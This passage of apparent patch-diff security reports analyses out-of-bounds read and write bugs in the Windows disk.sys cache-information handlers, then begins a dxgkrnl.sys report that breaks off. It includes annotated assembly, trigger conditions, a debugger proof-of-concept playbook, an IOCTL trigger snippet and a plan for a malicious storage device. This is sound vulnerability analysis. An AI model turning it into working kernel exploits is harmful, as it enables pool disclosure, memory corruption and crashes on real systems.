Function	`DiskGetCacheInformation` (unpatched `0x1C000CBF0`, patched `0x1C000DBA4`)
Entry point	`IOCTL_DISK_GET_CACHE_INFORMATION (0x740D4)` via `DeviceIoControl`
Primitive	Bounded kernel pool memory disclosure / potential fault (DoS)

Root cause. DiskGetCacheInformation allocates a 0xC0-byte NonPagedPoolNxCacheAligned buffer (tag ScDC), zeroes it with memset, fills the first data_length bytes with ClassModeSense (page code 8, caching), and calls ClassFindModePage to locate the Caching Mode Page descriptor inside the buffer. The search length passed to ClassFindModePage is the device-derived value min(data_length, buffer[0]+1), so the returned descriptor pointer can legitimately land near the end of the transferred data. The unpatched code performs only a NULL check on that pointer and then unconditionally reads bytes at offsets +0x0, +0x2..+0x9, and conditionally +0xA/+0xB (a fixed window spanning 12 bytes, +0x0 through +0xB) to populate a DISK_CACHE_INFORMATION structure. If the device returns a truncated MODE SENSE response where the mode page 8 descriptor sits near the tail of the buffer with fewer than 12 bytes remaining, those reads walk past the valid data. Because the allocation is zero-initialized, reads that stay within the 0xC0-byte block return zeroes; only reads that cross the end of the allocation (descriptor pointer within ~11 bytes of P+0xC0) reach adjacent pool contents. The captured bytes are copied into the IOCTL output buffer and returned to the caller.

Why it matters. The over-read data flows directly back to user mode via the IOCTL output buffer. A controlled or malicious storage device (USB gadget, iSCSI LUN, virtual disk) that positions the mode page 8 descriptor near the tail of a full-length response can disclose up to ~11 bytes of adjacent non-paged pool through the returned cache fields. If the over-read reaches an unmapped page, the read faults and the system bugchecks (DoS).

What the patch does. Inserts a single bounds check immediately after ClassFindModePage returns:

if (mode_page_ptr + 0xC > buffer_start + search_len) {   // search_len = min(data_length, buffer[0]+1)
    status = STATUS_UNSUCCESSFUL (0xC0000001);
    goto error;
}

This guarantees the full 12-byte field window lies within the region that was populated and searched before any field access.

Call chain (attacker → flaw):

User-mode process opens a handle to a disk device (\\.\PhysicalDriveN, volume, or the malicious device itself).
Issues DeviceIoControl(IOCTL_DISK_GET_CACHE_INFORMATION = 0x740D4).
disk!ClassDeviceControl dispatch at DiskDeviceControl (sub_1c0001770) routes to the cache info handler DiskIoctlGetCacheInformation (sub_1c000bd50).
Handler calls DiskGetCacheInformation (sub_1c000cbf0).
Inside DiskGetCacheInformation (sub_1c000cbf0): ExAllocatePoolWithTag → memset → ClassModeSense → ClassFindModePage → OOB reads at offsets +0x0…+0xB → data copied to output struct → returned via IRP completion.

Alternate reach: The same parser is invoked from DiskStartFdo (sub_1c000ca00) and DisableWriteCache (sub_1c000eca0). These are device start/enumeration-time paths, so a malicious device can reach the parser during start without a user-mode IOCTL.

Finding 2 — Hardening: IOCTL Rejection on Uninitialized Device State

Attribute	Value
Severity	Low (defense-in-depth)
Class	State/initialization hardening
Function	`DiskDeviceControl` (unpatched `0x1C0001770`, patched `0x1C00010C0`)
Entry point	Multiple storage IOCTLs

The patch adds an early rejection returning STATUS_NOT_SUPPORTED (0xC00000BB) for IOCTL codes 0x74080, 0x7c088, 0x7c084, 0x4d02c, 0x4d030 when the device sub-object referenced by [dev+0x208] has its state field at +0x1C equal to 0x11 (patched cmp dword ptr [rax+1Ch], 11h at 0x1C000113F → dispatch to the reject block at 0x1C0002E4C; no such gate exists in the unpatched build). This blocks processing of those storage IOCTLs while the device is in that state. Not directly exploitable from the diff alone.

Finding 3 — Out-of-Bounds Write in Mode Page 8 Writer

Attribute	Value
Severity	High
Class	CWE-787 — Out-of-bounds write
Function	`DiskSetCacheInformation` (unpatched `0x1C0010C48`, patched `0x1C001315C`)
Entry point	`IOCTL_DISK_SET_CACHE_INFORMATION (0x7C088)` via `DeviceIoControl`
Primitive	Bounded non-paged pool out-of-bounds write of caller-influenced bytes

Root cause. DiskSetCacheInformation is the write counterpart of DiskGetCacheInformation and shares the identical parsing prologue: it allocates the same 0xC0-byte NonPagedPoolNxCacheAligned buffer (tag ScDC), memset-zeroes it, calls ClassModeSense (page code 8, caching) to fill it, then calls ClassFindModePage with search length min(data_length, buffer[0]+1) to locate the Caching Mode Page descriptor inside the buffer. Where the read function reads a fixed 12-byte field window (+0x0..+0xB) from the returned descriptor pointer, this function writes that window: it merges the caller-supplied DISK_CACHE_INFORMATION input (arg2) into the descriptor bytes and hands the result to DiskModeSelect to push back to the device. The unpatched code performs only a NULL check on the returned pointer (test rax,rax; jnz at 0x1C0010D84/0x1C0010D87) and then writes offsets +0x0 (and byte ptr [rax],7Fh), +0x2, +0x3, +0x4..+0x9, and conditionally +0xA/+0xB — a 12-byte window mirroring the read function's field layout — with no verification that the descriptor plus 12 bytes stays inside the region that was searched. If the device returns a MODE SENSE response where the mode page 8 descriptor sits near the tail of the transferred data with fewer than 12 bytes remaining, these stores walk past the end of the 0xC0-byte allocation into adjacent non-paged pool.

Why it matters. A kernel-mode out-of-bounds write into non-paged pool is materially more dangerous than the read counterpart: the overwritten bytes can corrupt an adjacent pool allocation's header or an adjacent kernel object, which is a well-understood stepping stone toward elevation of privilege, and at minimum causes pool corruption and a bugcheck (DoS). The offset of the write is device-controlled (the malicious device positions the mode page 8 descriptor near the tail of a full-length response) and the written data is partly caller-controlled — the values come from the DISK_CACHE_INFORMATION structure the IOCTL caller supplies ([rbx+1], [rbx+2], [rbx+4], [rbx+8], [rbx+0Ch]..[rbx+15h]), combined with the existing byte via mask/XOR.

What the patch does. Inserts the identical bounds check the read path received, immediately after the NULL check and before any store:

if (mode_page_ptr + 0xC > buffer_start + search_len) {   // search_len = min(data_length, buffer[0]+1)
    status = STATUS_UNSUCCESSFUL (0xC0000001);
    goto error;
}

This guarantees the full 12-byte write window lies within the populated/searched region before any field is written back.

Call chain (attacker → flaw):

User-mode process opens a handle to a disk device (\\.\PhysicalDriveN, a volume, or the malicious device itself).
Issues DeviceIoControl(IOCTL_DISK_SET_CACHE_INFORMATION = 0x7C088) with a DISK_CACHE_INFORMATION input buffer.
DiskDeviceControl (unpatched 0x1C0001770) routes to the set-cache handler DiskIoctlSetCacheInformation (0x1C000F910).
That handler calls DiskSetCacheInformation (0x1C0010C48).
Inside DiskSetCacheInformation: ExAllocatePoolWithTag → memset → ClassModeSense → ClassFindModePage → OOB writes at offsets +0x0…+0xB into the returned descriptor → DiskModeSelect.

Alternate reach: DiskSetCacheInformation is also called from DiskStartFdo (0x1C000CA00) and DisableWriteCache (0x1C000ECA0), both device start/enumeration-time paths, so a malicious device can reach the writer during start.

Unpatched assembly (annotated) — DiskSetCacheInformation @ 0x1C0010C48:

; --- ClassFindModePage returns descriptor pointer ---
00000001C0010D75  call    cs:__imp_ClassFindModePage  ; CLASSPNP
00000001C0010D81  mov     rsi, rax                    ; rsi = mode_page_ptr
00000001C0010D84  test    rax, rax
00000001C0010D87  jnz     short loc_1C0010D93         ; *** ONLY NULL CHECK ***
00000001C0010D89  mov     ebp, 0C00000BBh             ; NULL -> STATUS_DEVICE_DATA_ERROR
;  *** MISSING: mov ecx,search_len; add rax,0Ch; add rcx,P; cmp rax,rcx; jbe safe ***
; --- writes begin, no bounds check ---
00000001C0010D93  and     byte ptr [rax], 7Fh         ; *** OOB WRITE +0x0 ***
00000001C0010DA4  mov     [rsi+2], cl                 ; *** OOB WRITE +0x2 ***
00000001C0010DE6  mov     [rsi+3], al                 ; *** OOB WRITE +0x3 ***
00000001C0010E0A  mov     [rsi+4], al                 ; *** OOB WRITE +0x4 ***
00000001C0010E10  mov     [rsi+5], al                 ; *** OOB WRITE +0x5 ***
00000001C0010E16  mov     [rsi+6], al                 ; *** OOB WRITE +0x6 ***
00000001C0010E1C  mov     [rsi+7], al                 ; *** OOB WRITE +0x7 ***
00000001C0010E22  mov     [rsi+8], al                 ; *** OOB WRITE +0x8 ***
00000001C0010E28  mov     [rsi+9], al                 ; *** OOB WRITE +0x9 ***
00000001C0010E2B  test    byte ptr [rsi+2], 2
00000001C0010E34  mov     [rsi+0Ah], al               ; *** OOB WRITE +0xA (conditional) ***
00000001C0010E3A  mov     [rsi+0Bh], al               ; *** OOB WRITE +0xB (conditional) ***

Patched equivalent — inserted bounds check at 0x1C00132B1:

00000001C001329E  mov     rdi, rax                    ; rdi = mode_page_ptr
00000001C00132A1  test    rax, rax
00000001C00132A4  jnz     short loc_1C00132B1
00000001C00132A6  mov     r14d, 0C00000BBh            ; NULL -> bail
00000001C00132B1  mov     ecx, r14d                   ; ecx = search_len (min(data_length, buffer[0]+1))
00000001C00132B4  add     rax, 0Ch                    ; rax = mode_page_ptr + 12
00000001C00132B8  add     rcx, rbp                    ; rcx = buffer_start + search_len
00000001C00132BB  cmp     rax, rcx                    ; *** BOUNDS CHECK ***
00000001C00132BE  jbe     short loc_1C0013300         ; ok -> proceed to the writes
00000001C00132F5  mov     r14d, 0C0000001h            ; STATUS_UNSUCCESSFUL
00000001C00132FB  jmp     loc_1C0013485               ; bail before any write

The added block is the entire fix — the same add ptr,0xC; add base,search_len; cmp; jbe guard applied to the write path, turning an unconditional trust of the device-supplied descriptor position into a verified access before the field stores.

3. Pseudocode Diff

`DiskGetCacheInformation (sub_1c000cbf0)` — Mode Page Cache Parser

// ===== SHARED PROLOGUE (identical) =====
P = ExAllocatePoolWithTag(NonPagedPoolNxCacheAligned, 0xC0, 'ScDC');
memset(P, 0, 0xC0);
data_length = ClassModeSense(device_ext->DeviceObject, P, 0xC0, 8);

if (data_length < 4) { /* retry path, omitted */ }

header_len = (UINT8)P[0] + 1;
search_len = min(data_length, header_len);
mode_page_ptr = ClassFindModePage(P, search_len, 8, 1);

if (mode_page_ptr == NULL) {
    status = STATUS_UNSUCCESSFUL;
    goto error;
}

// ===== UNPATCHED — proceeds directly to field reads =====
out->WriteCacheEnabled     = mode_page_ptr[0] >> 7;            // +0x0
out->WriteRetentionPolicy  = (~mode_page_ptr[2]) & 1;          // +0x2
out->FlushCacheEnabled     = (mode_page_ptr[2] >> 2) & 1;      // +0x2
out->WriteCacheType        = mode_page_ptr[3] >> 4;            // +0x3
out->WriteCachePolicy      = mode_page_ptr[3] & 0xF;           // +0x3
out->CacheSize             = BE16(mode_page_ptr + 4);          // +0x4, +0x5  *** OOB ***
out->PrefetchSize          = BE16(mode_page_ptr + 6);          // +0x6, +0x7  *** OOB ***
out->MaximumCacheSize      = BE16(mode_page_ptr + 8);          // +0x8, +0x9  *** OOB ***
out->DiskCacheSize         = BE16(mode_page_ptr + 0xA);        // +0xA, +0xB  *** OOB ***

// ===== PATCHED — bounds check inserted before any read =====
if ((mode_page_ptr + 0xC) > (P + search_len)) {      // <-- ADDED  (search_len = min(data_length, P[0]+1))
    status = STATUS_UNSUCCESSFUL (0xC0000001);        // <-- ADDED
    goto error;                                        // <-- ADDED
}                                                     // <-- ADDED
// ... then the same field reads as above, now safe

The critical change is the added block at 0x1C000DD1F: load the capped search length, compute mode_page_ptr + 12, compute P + search_len, compare, and bail with STATUS_UNSUCCESSFUL (0xC0000001) if the field window overruns the searched region.

4. Assembly Analysis

`DiskGetCacheInformation (sub_1c000cbf0)` — Unpatched Assembly (annotated)

; --- Prologue / allocation ---
0x1c000cbf0: mov     [rsp+0x8], rbx
0x1c000cbfa: mov     [rsp+0x18], rsi
0x1c000cc08: sub     rsp, 0x70
0x1c000cc0c: mov     rbx, rdx              ; rbx = output DISK_CACHE_INFORMATION
0x1c000cc0f: mov     r14, rcx              ; r14 = device extension
0x1c000cc12: mov     ebp, 0xc0             ; buffer size
0x1c000cc17: mov     r8d, 0x43446353       ; 'ScDC'
0x1c000cc1f: mov     ecx, 0x204            ; NonPagedPoolNxCacheAligned
0x1c000cc24: call    [ExAllocatePoolWithTag]
0x1c000cc32: mov     rdi, rax              ; rdi = P (buffer base)
0x1c000cc38: je      alloc_fail

; --- memset + ClassModeSense ---
0x1c000cc46: call    memset(P, 0, 0xc0)
0x1c000cc58: call    ClassModeSense(dev, P, 0xc0, 8)
0x1c000cc64: mov     ecx, eax              ; ecx = transferred data length
0x1c000cc66: cmp     eax, 4
0x1c000cc69: jb      retry_path            ; need >= 4 bytes

; --- ClassFindModePage call ---
0x1c000cc6f: movzx   edx, byte [rdi]       ; mode parameter header byte 0
0x1c000cc75: inc     edx                   ; header_len + 1
0x1c000cc7c: cmovbe  edx, ecx             ; min(data_length, header_len+1)
0x1c000cc82: call    [ClassFindModePage]   ; returns mode page 8 ptr in rax
0x1c000cc8e: mov     r9, rax               ; r9 = mode_page_ptr  <-- ATTACKER INFLUENCED

; --- VULNERABILITY: only NULL check, no size check ---
0x1c000cc91: test    rax, rax
0x1c000cc94: je      page_not_found
;  *** MISSING: add rax,0xc; add rcx,rdi; cmp rax,rcx; jbe safe ***
;  *** Patched binary inserts the above 4 instructions right here   ***

; --- Begin reading 12 bytes from r9 (potential OOB) ---
0x1c000cc9a: xor     eax, eax
0x1c000cca2: mov     [rbx], rax            ; zero output[0..7]
0x1c000cca5: mov     [rbx+0x8], rax
0x1c000cca9: mov     [rbx+0x10], rax
0x1c000ccad: mov     al, byte [r9]         ; *** OOB READ +0x0 ***
0x1c000ccb3: mov     [rbx], al             ; out->WriteCacheEnabled
0x1c000ccb5: mov     r11b, byte [r9+0x2]   ; *** OOB READ +0x2 ***
0x1c000ccc0: mov     [rbx+0x1], r11b
0x1c000ccc4: mov     bpl, byte [r9+0x2]    ; *** OOB READ +0x2 ***
0x1c000ccd0: mov     [rbx+0x2], bpl
0x1c000ccd4: mov     cl, byte [r9+0x3]     ; *** OOB READ +0x3 ***
0x1c000ccf6: mov     [rbx+0x4], r10d
0x1c000cd1f: movzx   r15d, byte [r9+0x4]   ; *** OOB READ +0x4 ***
0x1c000cd2b: movzx   eax, byte [r9+0x5]    ; *** OOB READ +0x5 ***
0x1c000cd37: mov     [rbx+0xc], r15w       ; out->CacheSize (BE16)
0x1c000cd3c: movzx   eax, byte [r9+0x7]    ; *** OOB READ +0x7 ***
0x1c000cd41: movzx   r12d, byte [r9+0x6]   ; *** OOB READ +0x6 ***
0x1c000cd51: mov     [rbx+0x10], r12w
0x1c000cd56: movzx   r13d, byte [r9+0x8]   ; *** OOB READ +0x8 ***
0x1c000cd5b: movzx   eax, byte [r9+0x9]    ; *** OOB READ +0x9 ***
0x1c000cd68: mov     [rbx+0x12], r13w

; --- Conditional tail reads (+0xA, +0xB) ---
0x1c000cd6d: test    byte [r9+0x2], 0x2    ; *** OOB READ +0x2 (bit test) ***
0x1c000cd72: jne     0x1c000e2f7
...
0x1c000e2fe: movzx   eax, byte [r9+0xa]    ; *** OOB READ +0xA ***
0x1c000e305: movzx   eax, byte [r9+0xb]    ; *** OOB READ +0xB *** (12th byte)
0x1c000e310: mov     [rbx+0x14], dx        ; out->DiskCacheSize

; --- Cleanup ---
0x1c000cd87: mov     rcx, rdi
0x1c000cd8a: call    [ExFreePoolWithTag]
0x1c000cd96: mov     eax, esi              ; return status

Patched Equivalent — Inserted Bounds Check

; After ClassFindModePage returns mode_page_ptr in rax -> r8
mov     r8, rax
test    rax, rax
jne     0x1c000dd1f
...
mov     ecx, ebp              ; ecx = search_len = min(data_length, P[0]+1)
add     rax, 0xc              ; rax = mode_page_ptr + 12
add     rcx, rdi              ; rcx = P + search_len (searched region end)
cmp     rax, rcx              ; *** BOUNDS CHECK ***
jbe     0x1c000dd6c           ; ok, proceed to parse
; fall through -> rsi = 0xC0000001, goto error

The added block is the entire fix — it turns an unconditional trust of the device-supplied descriptor position into a verified access.

5. Trigger Conditions

Obtain device reachability. Open a handle with CreateFileW(L"\\\\.\\PhysicalDriveN", GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL), or trigger PnP enumeration of the malicious device (which fires the bug automatically via the AddDevice work-item path).
IOCTL code. IOCTL_DISK_GET_CACHE_INFORMATION = 0x740D4 (METHOD_BUFFERED, FILE_ANY_ACCESS). Output buffer is a 24-byte DISK_CACHE_INFORMATION.
Device-side payload. The attached storage device must answer SCSI MODE SENSE(10) for page code 0x08 (caching) with a response that:
Has total transferred length ≥ 4 bytes (passes the minimum check at 0x1c000cc69).
Contains a valid mode page 8 header byte (page code = 0x08) so ClassFindModePage returns a non-NULL pointer.
Truncates the page so that mode_page_ptr + 12 > P + data_length. Example: total response = 16 bytes, mode page 8 header at offset 12 → only 4 bytes of page data, but parser reads 12 → 8 bytes OOB.
No ordering or race constraints. The read is synchronous within the IRP handling path. The AddDevice work-item path requires only that PnP enumerate the device.
Observable confirmation.
Without Driver Verifier: OOB bytes silently copied into the IOCTL output buffer; compare returned DISK_CACHE_INFORMATION fields (especially CacheSize, PrefetchSize, MaximumCacheSize, DiskCacheSize) against the device's true parameters — leaked pool residue will appear as anomalous 16-bit values.
With Special Pool enabled on disk.sys: immediate BSOD — PAGE_FAULT_IN_NONPAGED_AREA or BUGCODE_INVALID_DRIVER_ACCESS — faulting address just past the ScDC allocation.
If the read crosses a real page boundary (no Special Pool): bugcheck PAGE_FAULT_IN_NONPAGED_AREA.

6. Exploit Primitive

Primitive. A bounded out-of-bounds read of NonPagedPoolNxCacheAligned memory into a user-visible IOCTL output buffer. The read window is a fixed 12 bytes (+0x0..+0xB) from the descriptor pointer. Because the 0xC0-byte buffer is memset-zeroed before ClassModeSense runs, reads that stay inside the allocation return zeroes; only the portion of the window that extends past the end of the 0xC0-byte allocation reads adjacent pool contents. That out-of-allocation portion is at most ~11 bytes and surfaces in the CacheSize / PrefetchSize / MaximumCacheSize / DiskCacheSize fields of the returned DISK_CACHE_INFORMATION.

Reachability constraints. Triggering the out-of-allocation read requires a storage device whose SCSI responses the attacker controls (physical USB device, iSCSI LUN, or virtual/emulated disk). A normal disk does not return a truncated mode page 8 descriptor positioned at the tail of a full-length response, so the bug is not reachable against unmodified hardware. The disclosed bytes are whatever currently occupies the pool immediately after the ScDC allocation; their content is not controlled by the attacker beyond triggering the read.

Impact bound. Two outcomes are demonstrable from the binaries: (1) disclosure of a small, bounded amount of adjacent non-paged pool into the IOCTL output, and (2) a denial of service if the over-read reaches an unmapped address. This report does not claim a full exploit chain; any escalation beyond these two outcomes is not supported by the diff.

7. Debugger PoC Playbook

Assume WinDbg/KD attached to the unpatched disk.sys. Use lm disk to confirm the loaded base and add the offsets below.

Finding 1 — OOB Read in `DiskGetCacheInformation (sub_1c000cbf0)`

Breakpoints

bp disk!DiskGetCacheInformation (sub_1c000cbf0)
bp disk+0xcbf0              ; same, if symbols are stripped — substitute real base
bp disk+0xcc8e              ; after ClassFindModePage returns — THE critical point
bp disk+0xccad              ; first OOB read instruction
bp disk+0xcc82              ; ClassFindModePage call site

disk+0xcbf0: function entry — confirm rcx = device extension, rdx = output DISK_CACHE_INFORMATION.
disk+0xcc8e: mov r9, rax — r9 now holds the attacker-influenced mode page pointer. This is where the patch inserts the missing check. Manually evaluate r9+0xC vs rdi+ecx to predict OOB.
disk+0xccad: first byte read from [r9]. If OOB, single-step and watch reads continue to +0xb.
disk+0xcc82: pre-call to ClassFindModePage. Inspect rcx (buffer P), edx (search length), r8b (page code 8), r9b (subpage 1).

What to inspect at each breakpoint

Stop	Register / expression	Why
`+0xcbf0` entry	`rcx`, `rdx`	device extension / output struct
`+0xcc24`	pool tag, `rax` after call	confirm `ScDC`, 0xC0-byte allocation
`+0xcc64`	`eax` / `ecx`	`data_length` returned by `ClassModeSense`
`+0xcc8e`	`r9`, `rdi`, `ecx`	compute `r9+0xC` vs `rdi+ecx` — if greater, OOB
`+0xcc8e`	`!pool r9 f`	visualize the `ScDC` allocation boundary
`+0xccad` onward	`db r9 l0xc`	dump the 12 bytes being read; bytes past `rdi+ecx-1` are OOB
`+0xcd96` (return)	`dt _DISK_CACHE_INFORMATION @rbx`	parsed output — compare to known device params

Key offsets

0x1c000cc82 — call ClassFindModePage (returns mode page ptr in rax).
0x1c000cc8e — mov r9, rax (pointer saved).
0x1c000cc91–0x1c000cc94 — test rax,rax; je — only a NULL check; this is the gap the patch fills.
0x1c000cc9a — parsing begins (no size verification).
0x1c000ccad — first OOB-prone read ([r9]).
0x1c000e305 — last OOB-prone read ([r9+0xb], the 12th byte).
Patched equivalent around 0x1c000dd00–0x1c000dd20: add rax,0xc; add rcx,rdi; cmp rax,rcx; jbe.

Trigger setup

Method A — direct IOCTL from a privileged/admin user-mode process (any user with access to the disk handle):

HANDLE h = CreateFileW(L"\\\\.\\PhysicalDrive0",
    GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE,
    NULL, OPEN_EXISTING, 0, NULL);
DISK_CACHE_INFORMATION out;
DWORD br;
DeviceIoControl(h, 0x740D4, NULL, 0, &out, sizeof(out), &br, NULL);

For an unmodified real disk this returns normally; to fire the bug the target device must return a truncated mode page 8 response.

Method B — programmable USB / virtual SCSI device. Configure the device emulator so its MODE SENSE(10) response for page code 8 has total length, say, 16 bytes with the mode page 8 header at offset 12 (leaving 4 bytes of page data). Plugging the device triggers AddDevice → IoQueueWorkItem → DisableWriteCache (sub_1c000eca0) → DiskGetCacheInformation (sub_1c000cbf0) automatically.

Method C — crafted VHD / virtual disk mount with the same SCSI emulation. Open the resulting volume and issue the IOCTL.

Expected observation

At disk+0xcc8e, evaluate ?? r9+0xc > rdi+ecx — if true, the next instructions read OOB.
!pool r9 f shows the ScDC pool block; bytes past its data region are leaked.
Under Driver Verifier with Special Pool on disk.sys: immediate BSOD — typically PAGE_FAULT_IN_NONPAGED_AREA, faulting IP disk+0xccad (or any of the read sites), faulting address slightly beyond the ScDC allocation.
Without verifier: dt _DISK_CACHE_INFORMATION @rbx at function return shows leaked 16-bit values in CacheSize / PrefetchSize / MaximumCacheSize / DiskCacheSize fields.

Struct / offset notes

typedef struct _DISK_CACHE_INFORMATION {   // sizeof = 0x18 (24 bytes)
    BOOLEAN WriteCacheEnabled;             // +0x0
    BOOLEAN WriteRetentionPolicy;          // +0x1
    BOOLEAN FlushCacheEnabled;             // +0x2
    BOOLEAN Pad0;                          // +0x3 (padding)
    ULONG   WriteCacheType;                // +0x4
    ULONG   WriteCachePolicy;              // +0x8
    USHORT  CacheSize;                     // +0xc
    USHORT  Pad1;                          // +0xe
    USHORT  PrefetchSize;                  // +0x10
    USHORT  MaximumCacheSize;              // +0x12
    USHORT  DiskCacheSize;                 // +0x14
} DISK_CACHE_INFORMATION;

Buffer allocation: ExAllocatePoolWithTag(NonPagedPoolNxCacheAligned (0x204), 0xC0, 'ScDC'). Note that ASLR slides the disk module base — rebase every offset using lm disk.

8. Changed Functions — Full Triage

Security-relevant

Function	Similarity	Change	Note
`DiskGetCacheInformation` (unpatched `0x1C000CBF0`, patched `0x1C000DBA4`)	0.9151	Security	Mode page 8 parser — adds the bounds check fixing the OOB read. Primary finding.
`DiskSetCacheInformation` (unpatched `0x1C0010C48`, patched `0x1C001315C`)	n/a	Security	Mode page 8 writer — adds the identical bounds check fixing an OOB write (CWE-787) of caller-supplied cache fields. See Finding 3.
`DiskDeviceControl` (unpatched `0x1C0001770`, patched `0x1C00010C0`)	0.88	Hardening	Early `STATUS_NOT_SUPPORTED (0xC00000BB)` for storage IOCTLs `0x74080/0x7c088/0x7c084/0x4d02c/0x4d030` when the device sub-object state field (`[dev+0x208]+0x1C`) equals `0x11`. Defense-in-depth against IOCTL processing on a device in that state.

Behavioral (non-exploitable from diff)

Function	Similarity	Change	Note
`DiskInitFdo (sub_1c000be40)`	0.82	Behavioral	Failure-prediction init moved from inline synchronous to `IoAllocateWorkItem` + `IoQueueWorkItem` (async). PnP reliability improvement.

Cosmetic / register-allocation (collapsed)

The following functions changed only due to compiler recompilation, CRT optimization, or register reassignment. No new vulnerability and no exploitable behavioral change:

RtlStringCchPrintfW (sub_1c0002464) — CRT refactoring, sim 0.28.
memmove (sub_1c0002840) — SIMD strategy change, sim 0.31.
memset (sub_1c0002b80) — SIMD strategy change, sim 0.45.
DiskFdoProcessError (sub_1c0001e50) — bounds checks refactored, sim 0.89.
DriverEntry (sub_1c0014078) — function pointer table updated by recompile, sim 0.87.
DiskIoctlGetCacheInformation (sub_1c000bd50) — CR8 → KeGetCurrentIrql swap; calls vulnerable DiskGetCacheInformation (sub_1c000cbf0), sim 0.86.
DiskStartFdo (sub_1c000ca00) — cosmetic; calls vulnerable DiskGetCacheInformation (sub_1c000cbf0), sim 0.85.
DisableWriteCache (sub_1c000eca0) — cosmetic; calls vulnerable DiskGetCacheInformation (sub_1c000cbf0), sim 0.83.
DiskIoctlGetLengthInfo (sub_1c000b220) — CR8 → KeGetCurrentIrql, sim 0.86.
DiskIoctlSmartReceiveDriveData (sub_1c000faf4) — register reallocation, sim 0.87.
DiskPerformSmartCommand (sub_1c000b4a4) — register reallocation, sim 0.86.
DiskEnableDisableFailurePredictPolling (sub_1c000d5e4) — register reallocation, sim 0.85.
DiskCreateSymbolicLinks (sub_1c000c51c) — register reallocation, sim 0.84.
DiskCreateGuidSymbolicLink (sub_1c000ce08) — register reallocation, sim 0.84.
DiskIoctlSmartSendDriveCommand (sub_1c000ff0c) — register reallocation, sim 0.85.
McGenControlCallbackV2 (sub_1c00045f0) — register reallocation, sim 0.86.
GetSrbScsiData (sub_1c0002050) — bounds-check refactor, no new vuln, sim 0.87.

Note: three cosmetic callers (DiskIoctlGetCacheInformation (sub_1c000bd50), DiskStartFdo (sub_1c000ca00), DisableWriteCache (sub_1c000eca0)) reach the vulnerable DiskGetCacheInformation (sub_1c000cbf0). Although their changes are non-functional, they expand the attacker's reachability surface — keep them in mind when tracing the call graph.

9. Unmatched Functions

None added or removed. The patch is purely a modification of existing functions, with no new sanitizers inserted as standalone routines and no mitigations removed.

10. Confidence & Caveats

Confidence: High. The diff shows an unambiguous bounds-check insertion immediately after a ClassFindModePage call, with the unpatched side performing only a NULL check before reading a fixed 12-byte window. The data flow (device response → ClassModeSense → ClassFindModePage → field reads → IOCTL output buffer) is consistent across pseudocode, assembly, and the call chain. The pool tag, allocation size, and IOCTL code all corroborate.

Assumptions made: - The call chain (DiskDeviceControl (sub_1c0001770) → DiskIoctlGetCacheInformation (sub_1c000bd50) → DiskGetCacheInformation (sub_1c000cbf0)) is reconstructed from naming and dispatch-table analysis; cross-reference confirmation with independent static analysis is recommended. - ClassFindModePage is assumed to return a pointer derived purely from device-controlled length fields (standard Storport behavior). A defensive ClassFindModePage implementation that already validates the descriptor length would partially mitigate, but the patch's existence strongly implies the unpatched version relied on the caller for bounds enforcement. - The AddDevice work-item path (DisableWriteCache (sub_1c000eca0) → DiskGetCacheInformation (sub_1c000cbf0)) was inferred from similarity and the work-item refactor in DiskInitFdo (sub_1c000be40); confirm with !wdfkd.wdfdriver or !devnode traces.

Verify before writing the PoC: 1. Confirm lm disk rebased offsets match the unpatched target. 2. Confirm ClassFindModePage's exact return semantics on the target Windows build (does it ever return a pointer past P + data_length by itself?). 3. Build or emulate a USB mass-storage / iSCSI LUN that returns the truncated MODE SENSE response and verify the OOB pattern in the debugger before relying on it. 4. If exploiting for info leak rather than DoS, verify pool-residue availability by inspecting !poolused and !pool near the ScDC allocation under the target's actual pool configuration.

dxgkrnl.sys — Race condition (insufficient lock strength) leading to double-free / use-after-free in DXGSWAPCHAIN swapchain sync-object teardown (CWE-362) fixed

2026-06-28T00:00:00-07:00

1. Overview

Unpatched Binary: dxgkrnl_unpatched.sys
Patched Binary: dxgkrnl_patched.sys
Overall Similarity: 0.9913
Diff Statistics: 6879 matched, 9 changed, 6870 identical, 0 unmatched in either direction.

Verdict: This patch removes WIL feature-staging (flighting) branches that gated legacy vs. new implementations in two subsystems of the DirectX graphics kernel: (1) OPM (Output Protection Manager) handle management in ADAPTER_DISPLAY, and (2) swapchain sync-object teardown in DXGSWAPCHAIN. The OPM change is a hardening that stops handing a raw kernel pointer back to the caller as the OPM handle (a kernel-address disclosure) and switches to opaque 64-bit IDs. The swapchain change is the memory-safety-relevant one: it removes a shared-lock teardown path that can double-free a sync object under concurrency.

Feature_<id>__private_IsEnabledDeviceUsage is the Windows Implementation Library (WIL) feature-staging pattern: a runtime flag used to roll out a new implementation gradually. Both flags here gate a newer, safer implementation that the patch makes unconditional.

2. Vulnerability Summary

Finding 1: OPM Handle Is a Raw Kernel Pointer (Kernel-Address Disclosure), Hardened to Opaque IDs

Severity: Medium
Vulnerability Class: Information Exposure (kernel address disclosure) via pointer-as-handle. NOT type confusion / arbitrary write.
Affected Functions: ADAPTER_DISPLAY::OpmCreateHandle (sub_1C0175174), ADAPTER_DISPLAY::OpmTranslateHandle (sub_1C0174F34), ADAPTER_DISPLAY::OpmTranslateAndDestroyHandle (sub_1C0174AA8), ADAPTER_DISPLAY::OpmValidateAdapterHandle (sub_1C0175044)

Root Cause: The unpatched dxgkrnl.sys uses WIL feature-staging flag Feature_2161340729__private_IsEnabledDeviceUsage (sub_1c00259e8) to select between two OPM handle schemes:

Legacy (flag OFF): OpmCreateHandle allocates an _OPM_HANDLE_MAPPING node, inserts it into the adapter's list at this+0x130, and returns the raw kernel address of that node to the caller as the OPM handle (*a3 = node). On translate/destroy, the supplied handle is re-validated by OpmValidateAdapterHandle, which walks the list and returns 1 only if the pointer is an exact live member (i == a2).
New (flag ON, and the only scheme in the patched build): the handle is an opaque, uniquely generated 64-bit ID stored at node+0x18. Lookups use ADAPTER_DISPLAY::FindOpmAdapterMapping (sub_1c00d7190 unpatched / sub_1c00d6190 patched — the same function, relocated), comparing result[3] == a2.

Why this is not a type confusion or arbitrary write: In the legacy path the destroy operation only unlinks a node that OpmValidateAdapterHandle confirmed is a live list member, and the unlink is guarded by a __fastfail(3) consistency check (flink->blink == node && blink->flink == node) before the two neighbor writes. A value that is not a live member returns 0 and takes the error path; it never matches an unrelated object and never produces a wrong-object write. The real weakness of the legacy scheme is that a kernel heap address is disclosed to the OPM client as the handle value, weakening KASLR, and the fragile pointer-as-handle pattern. The patch removes the legacy path, so OPM handles are always opaque IDs.

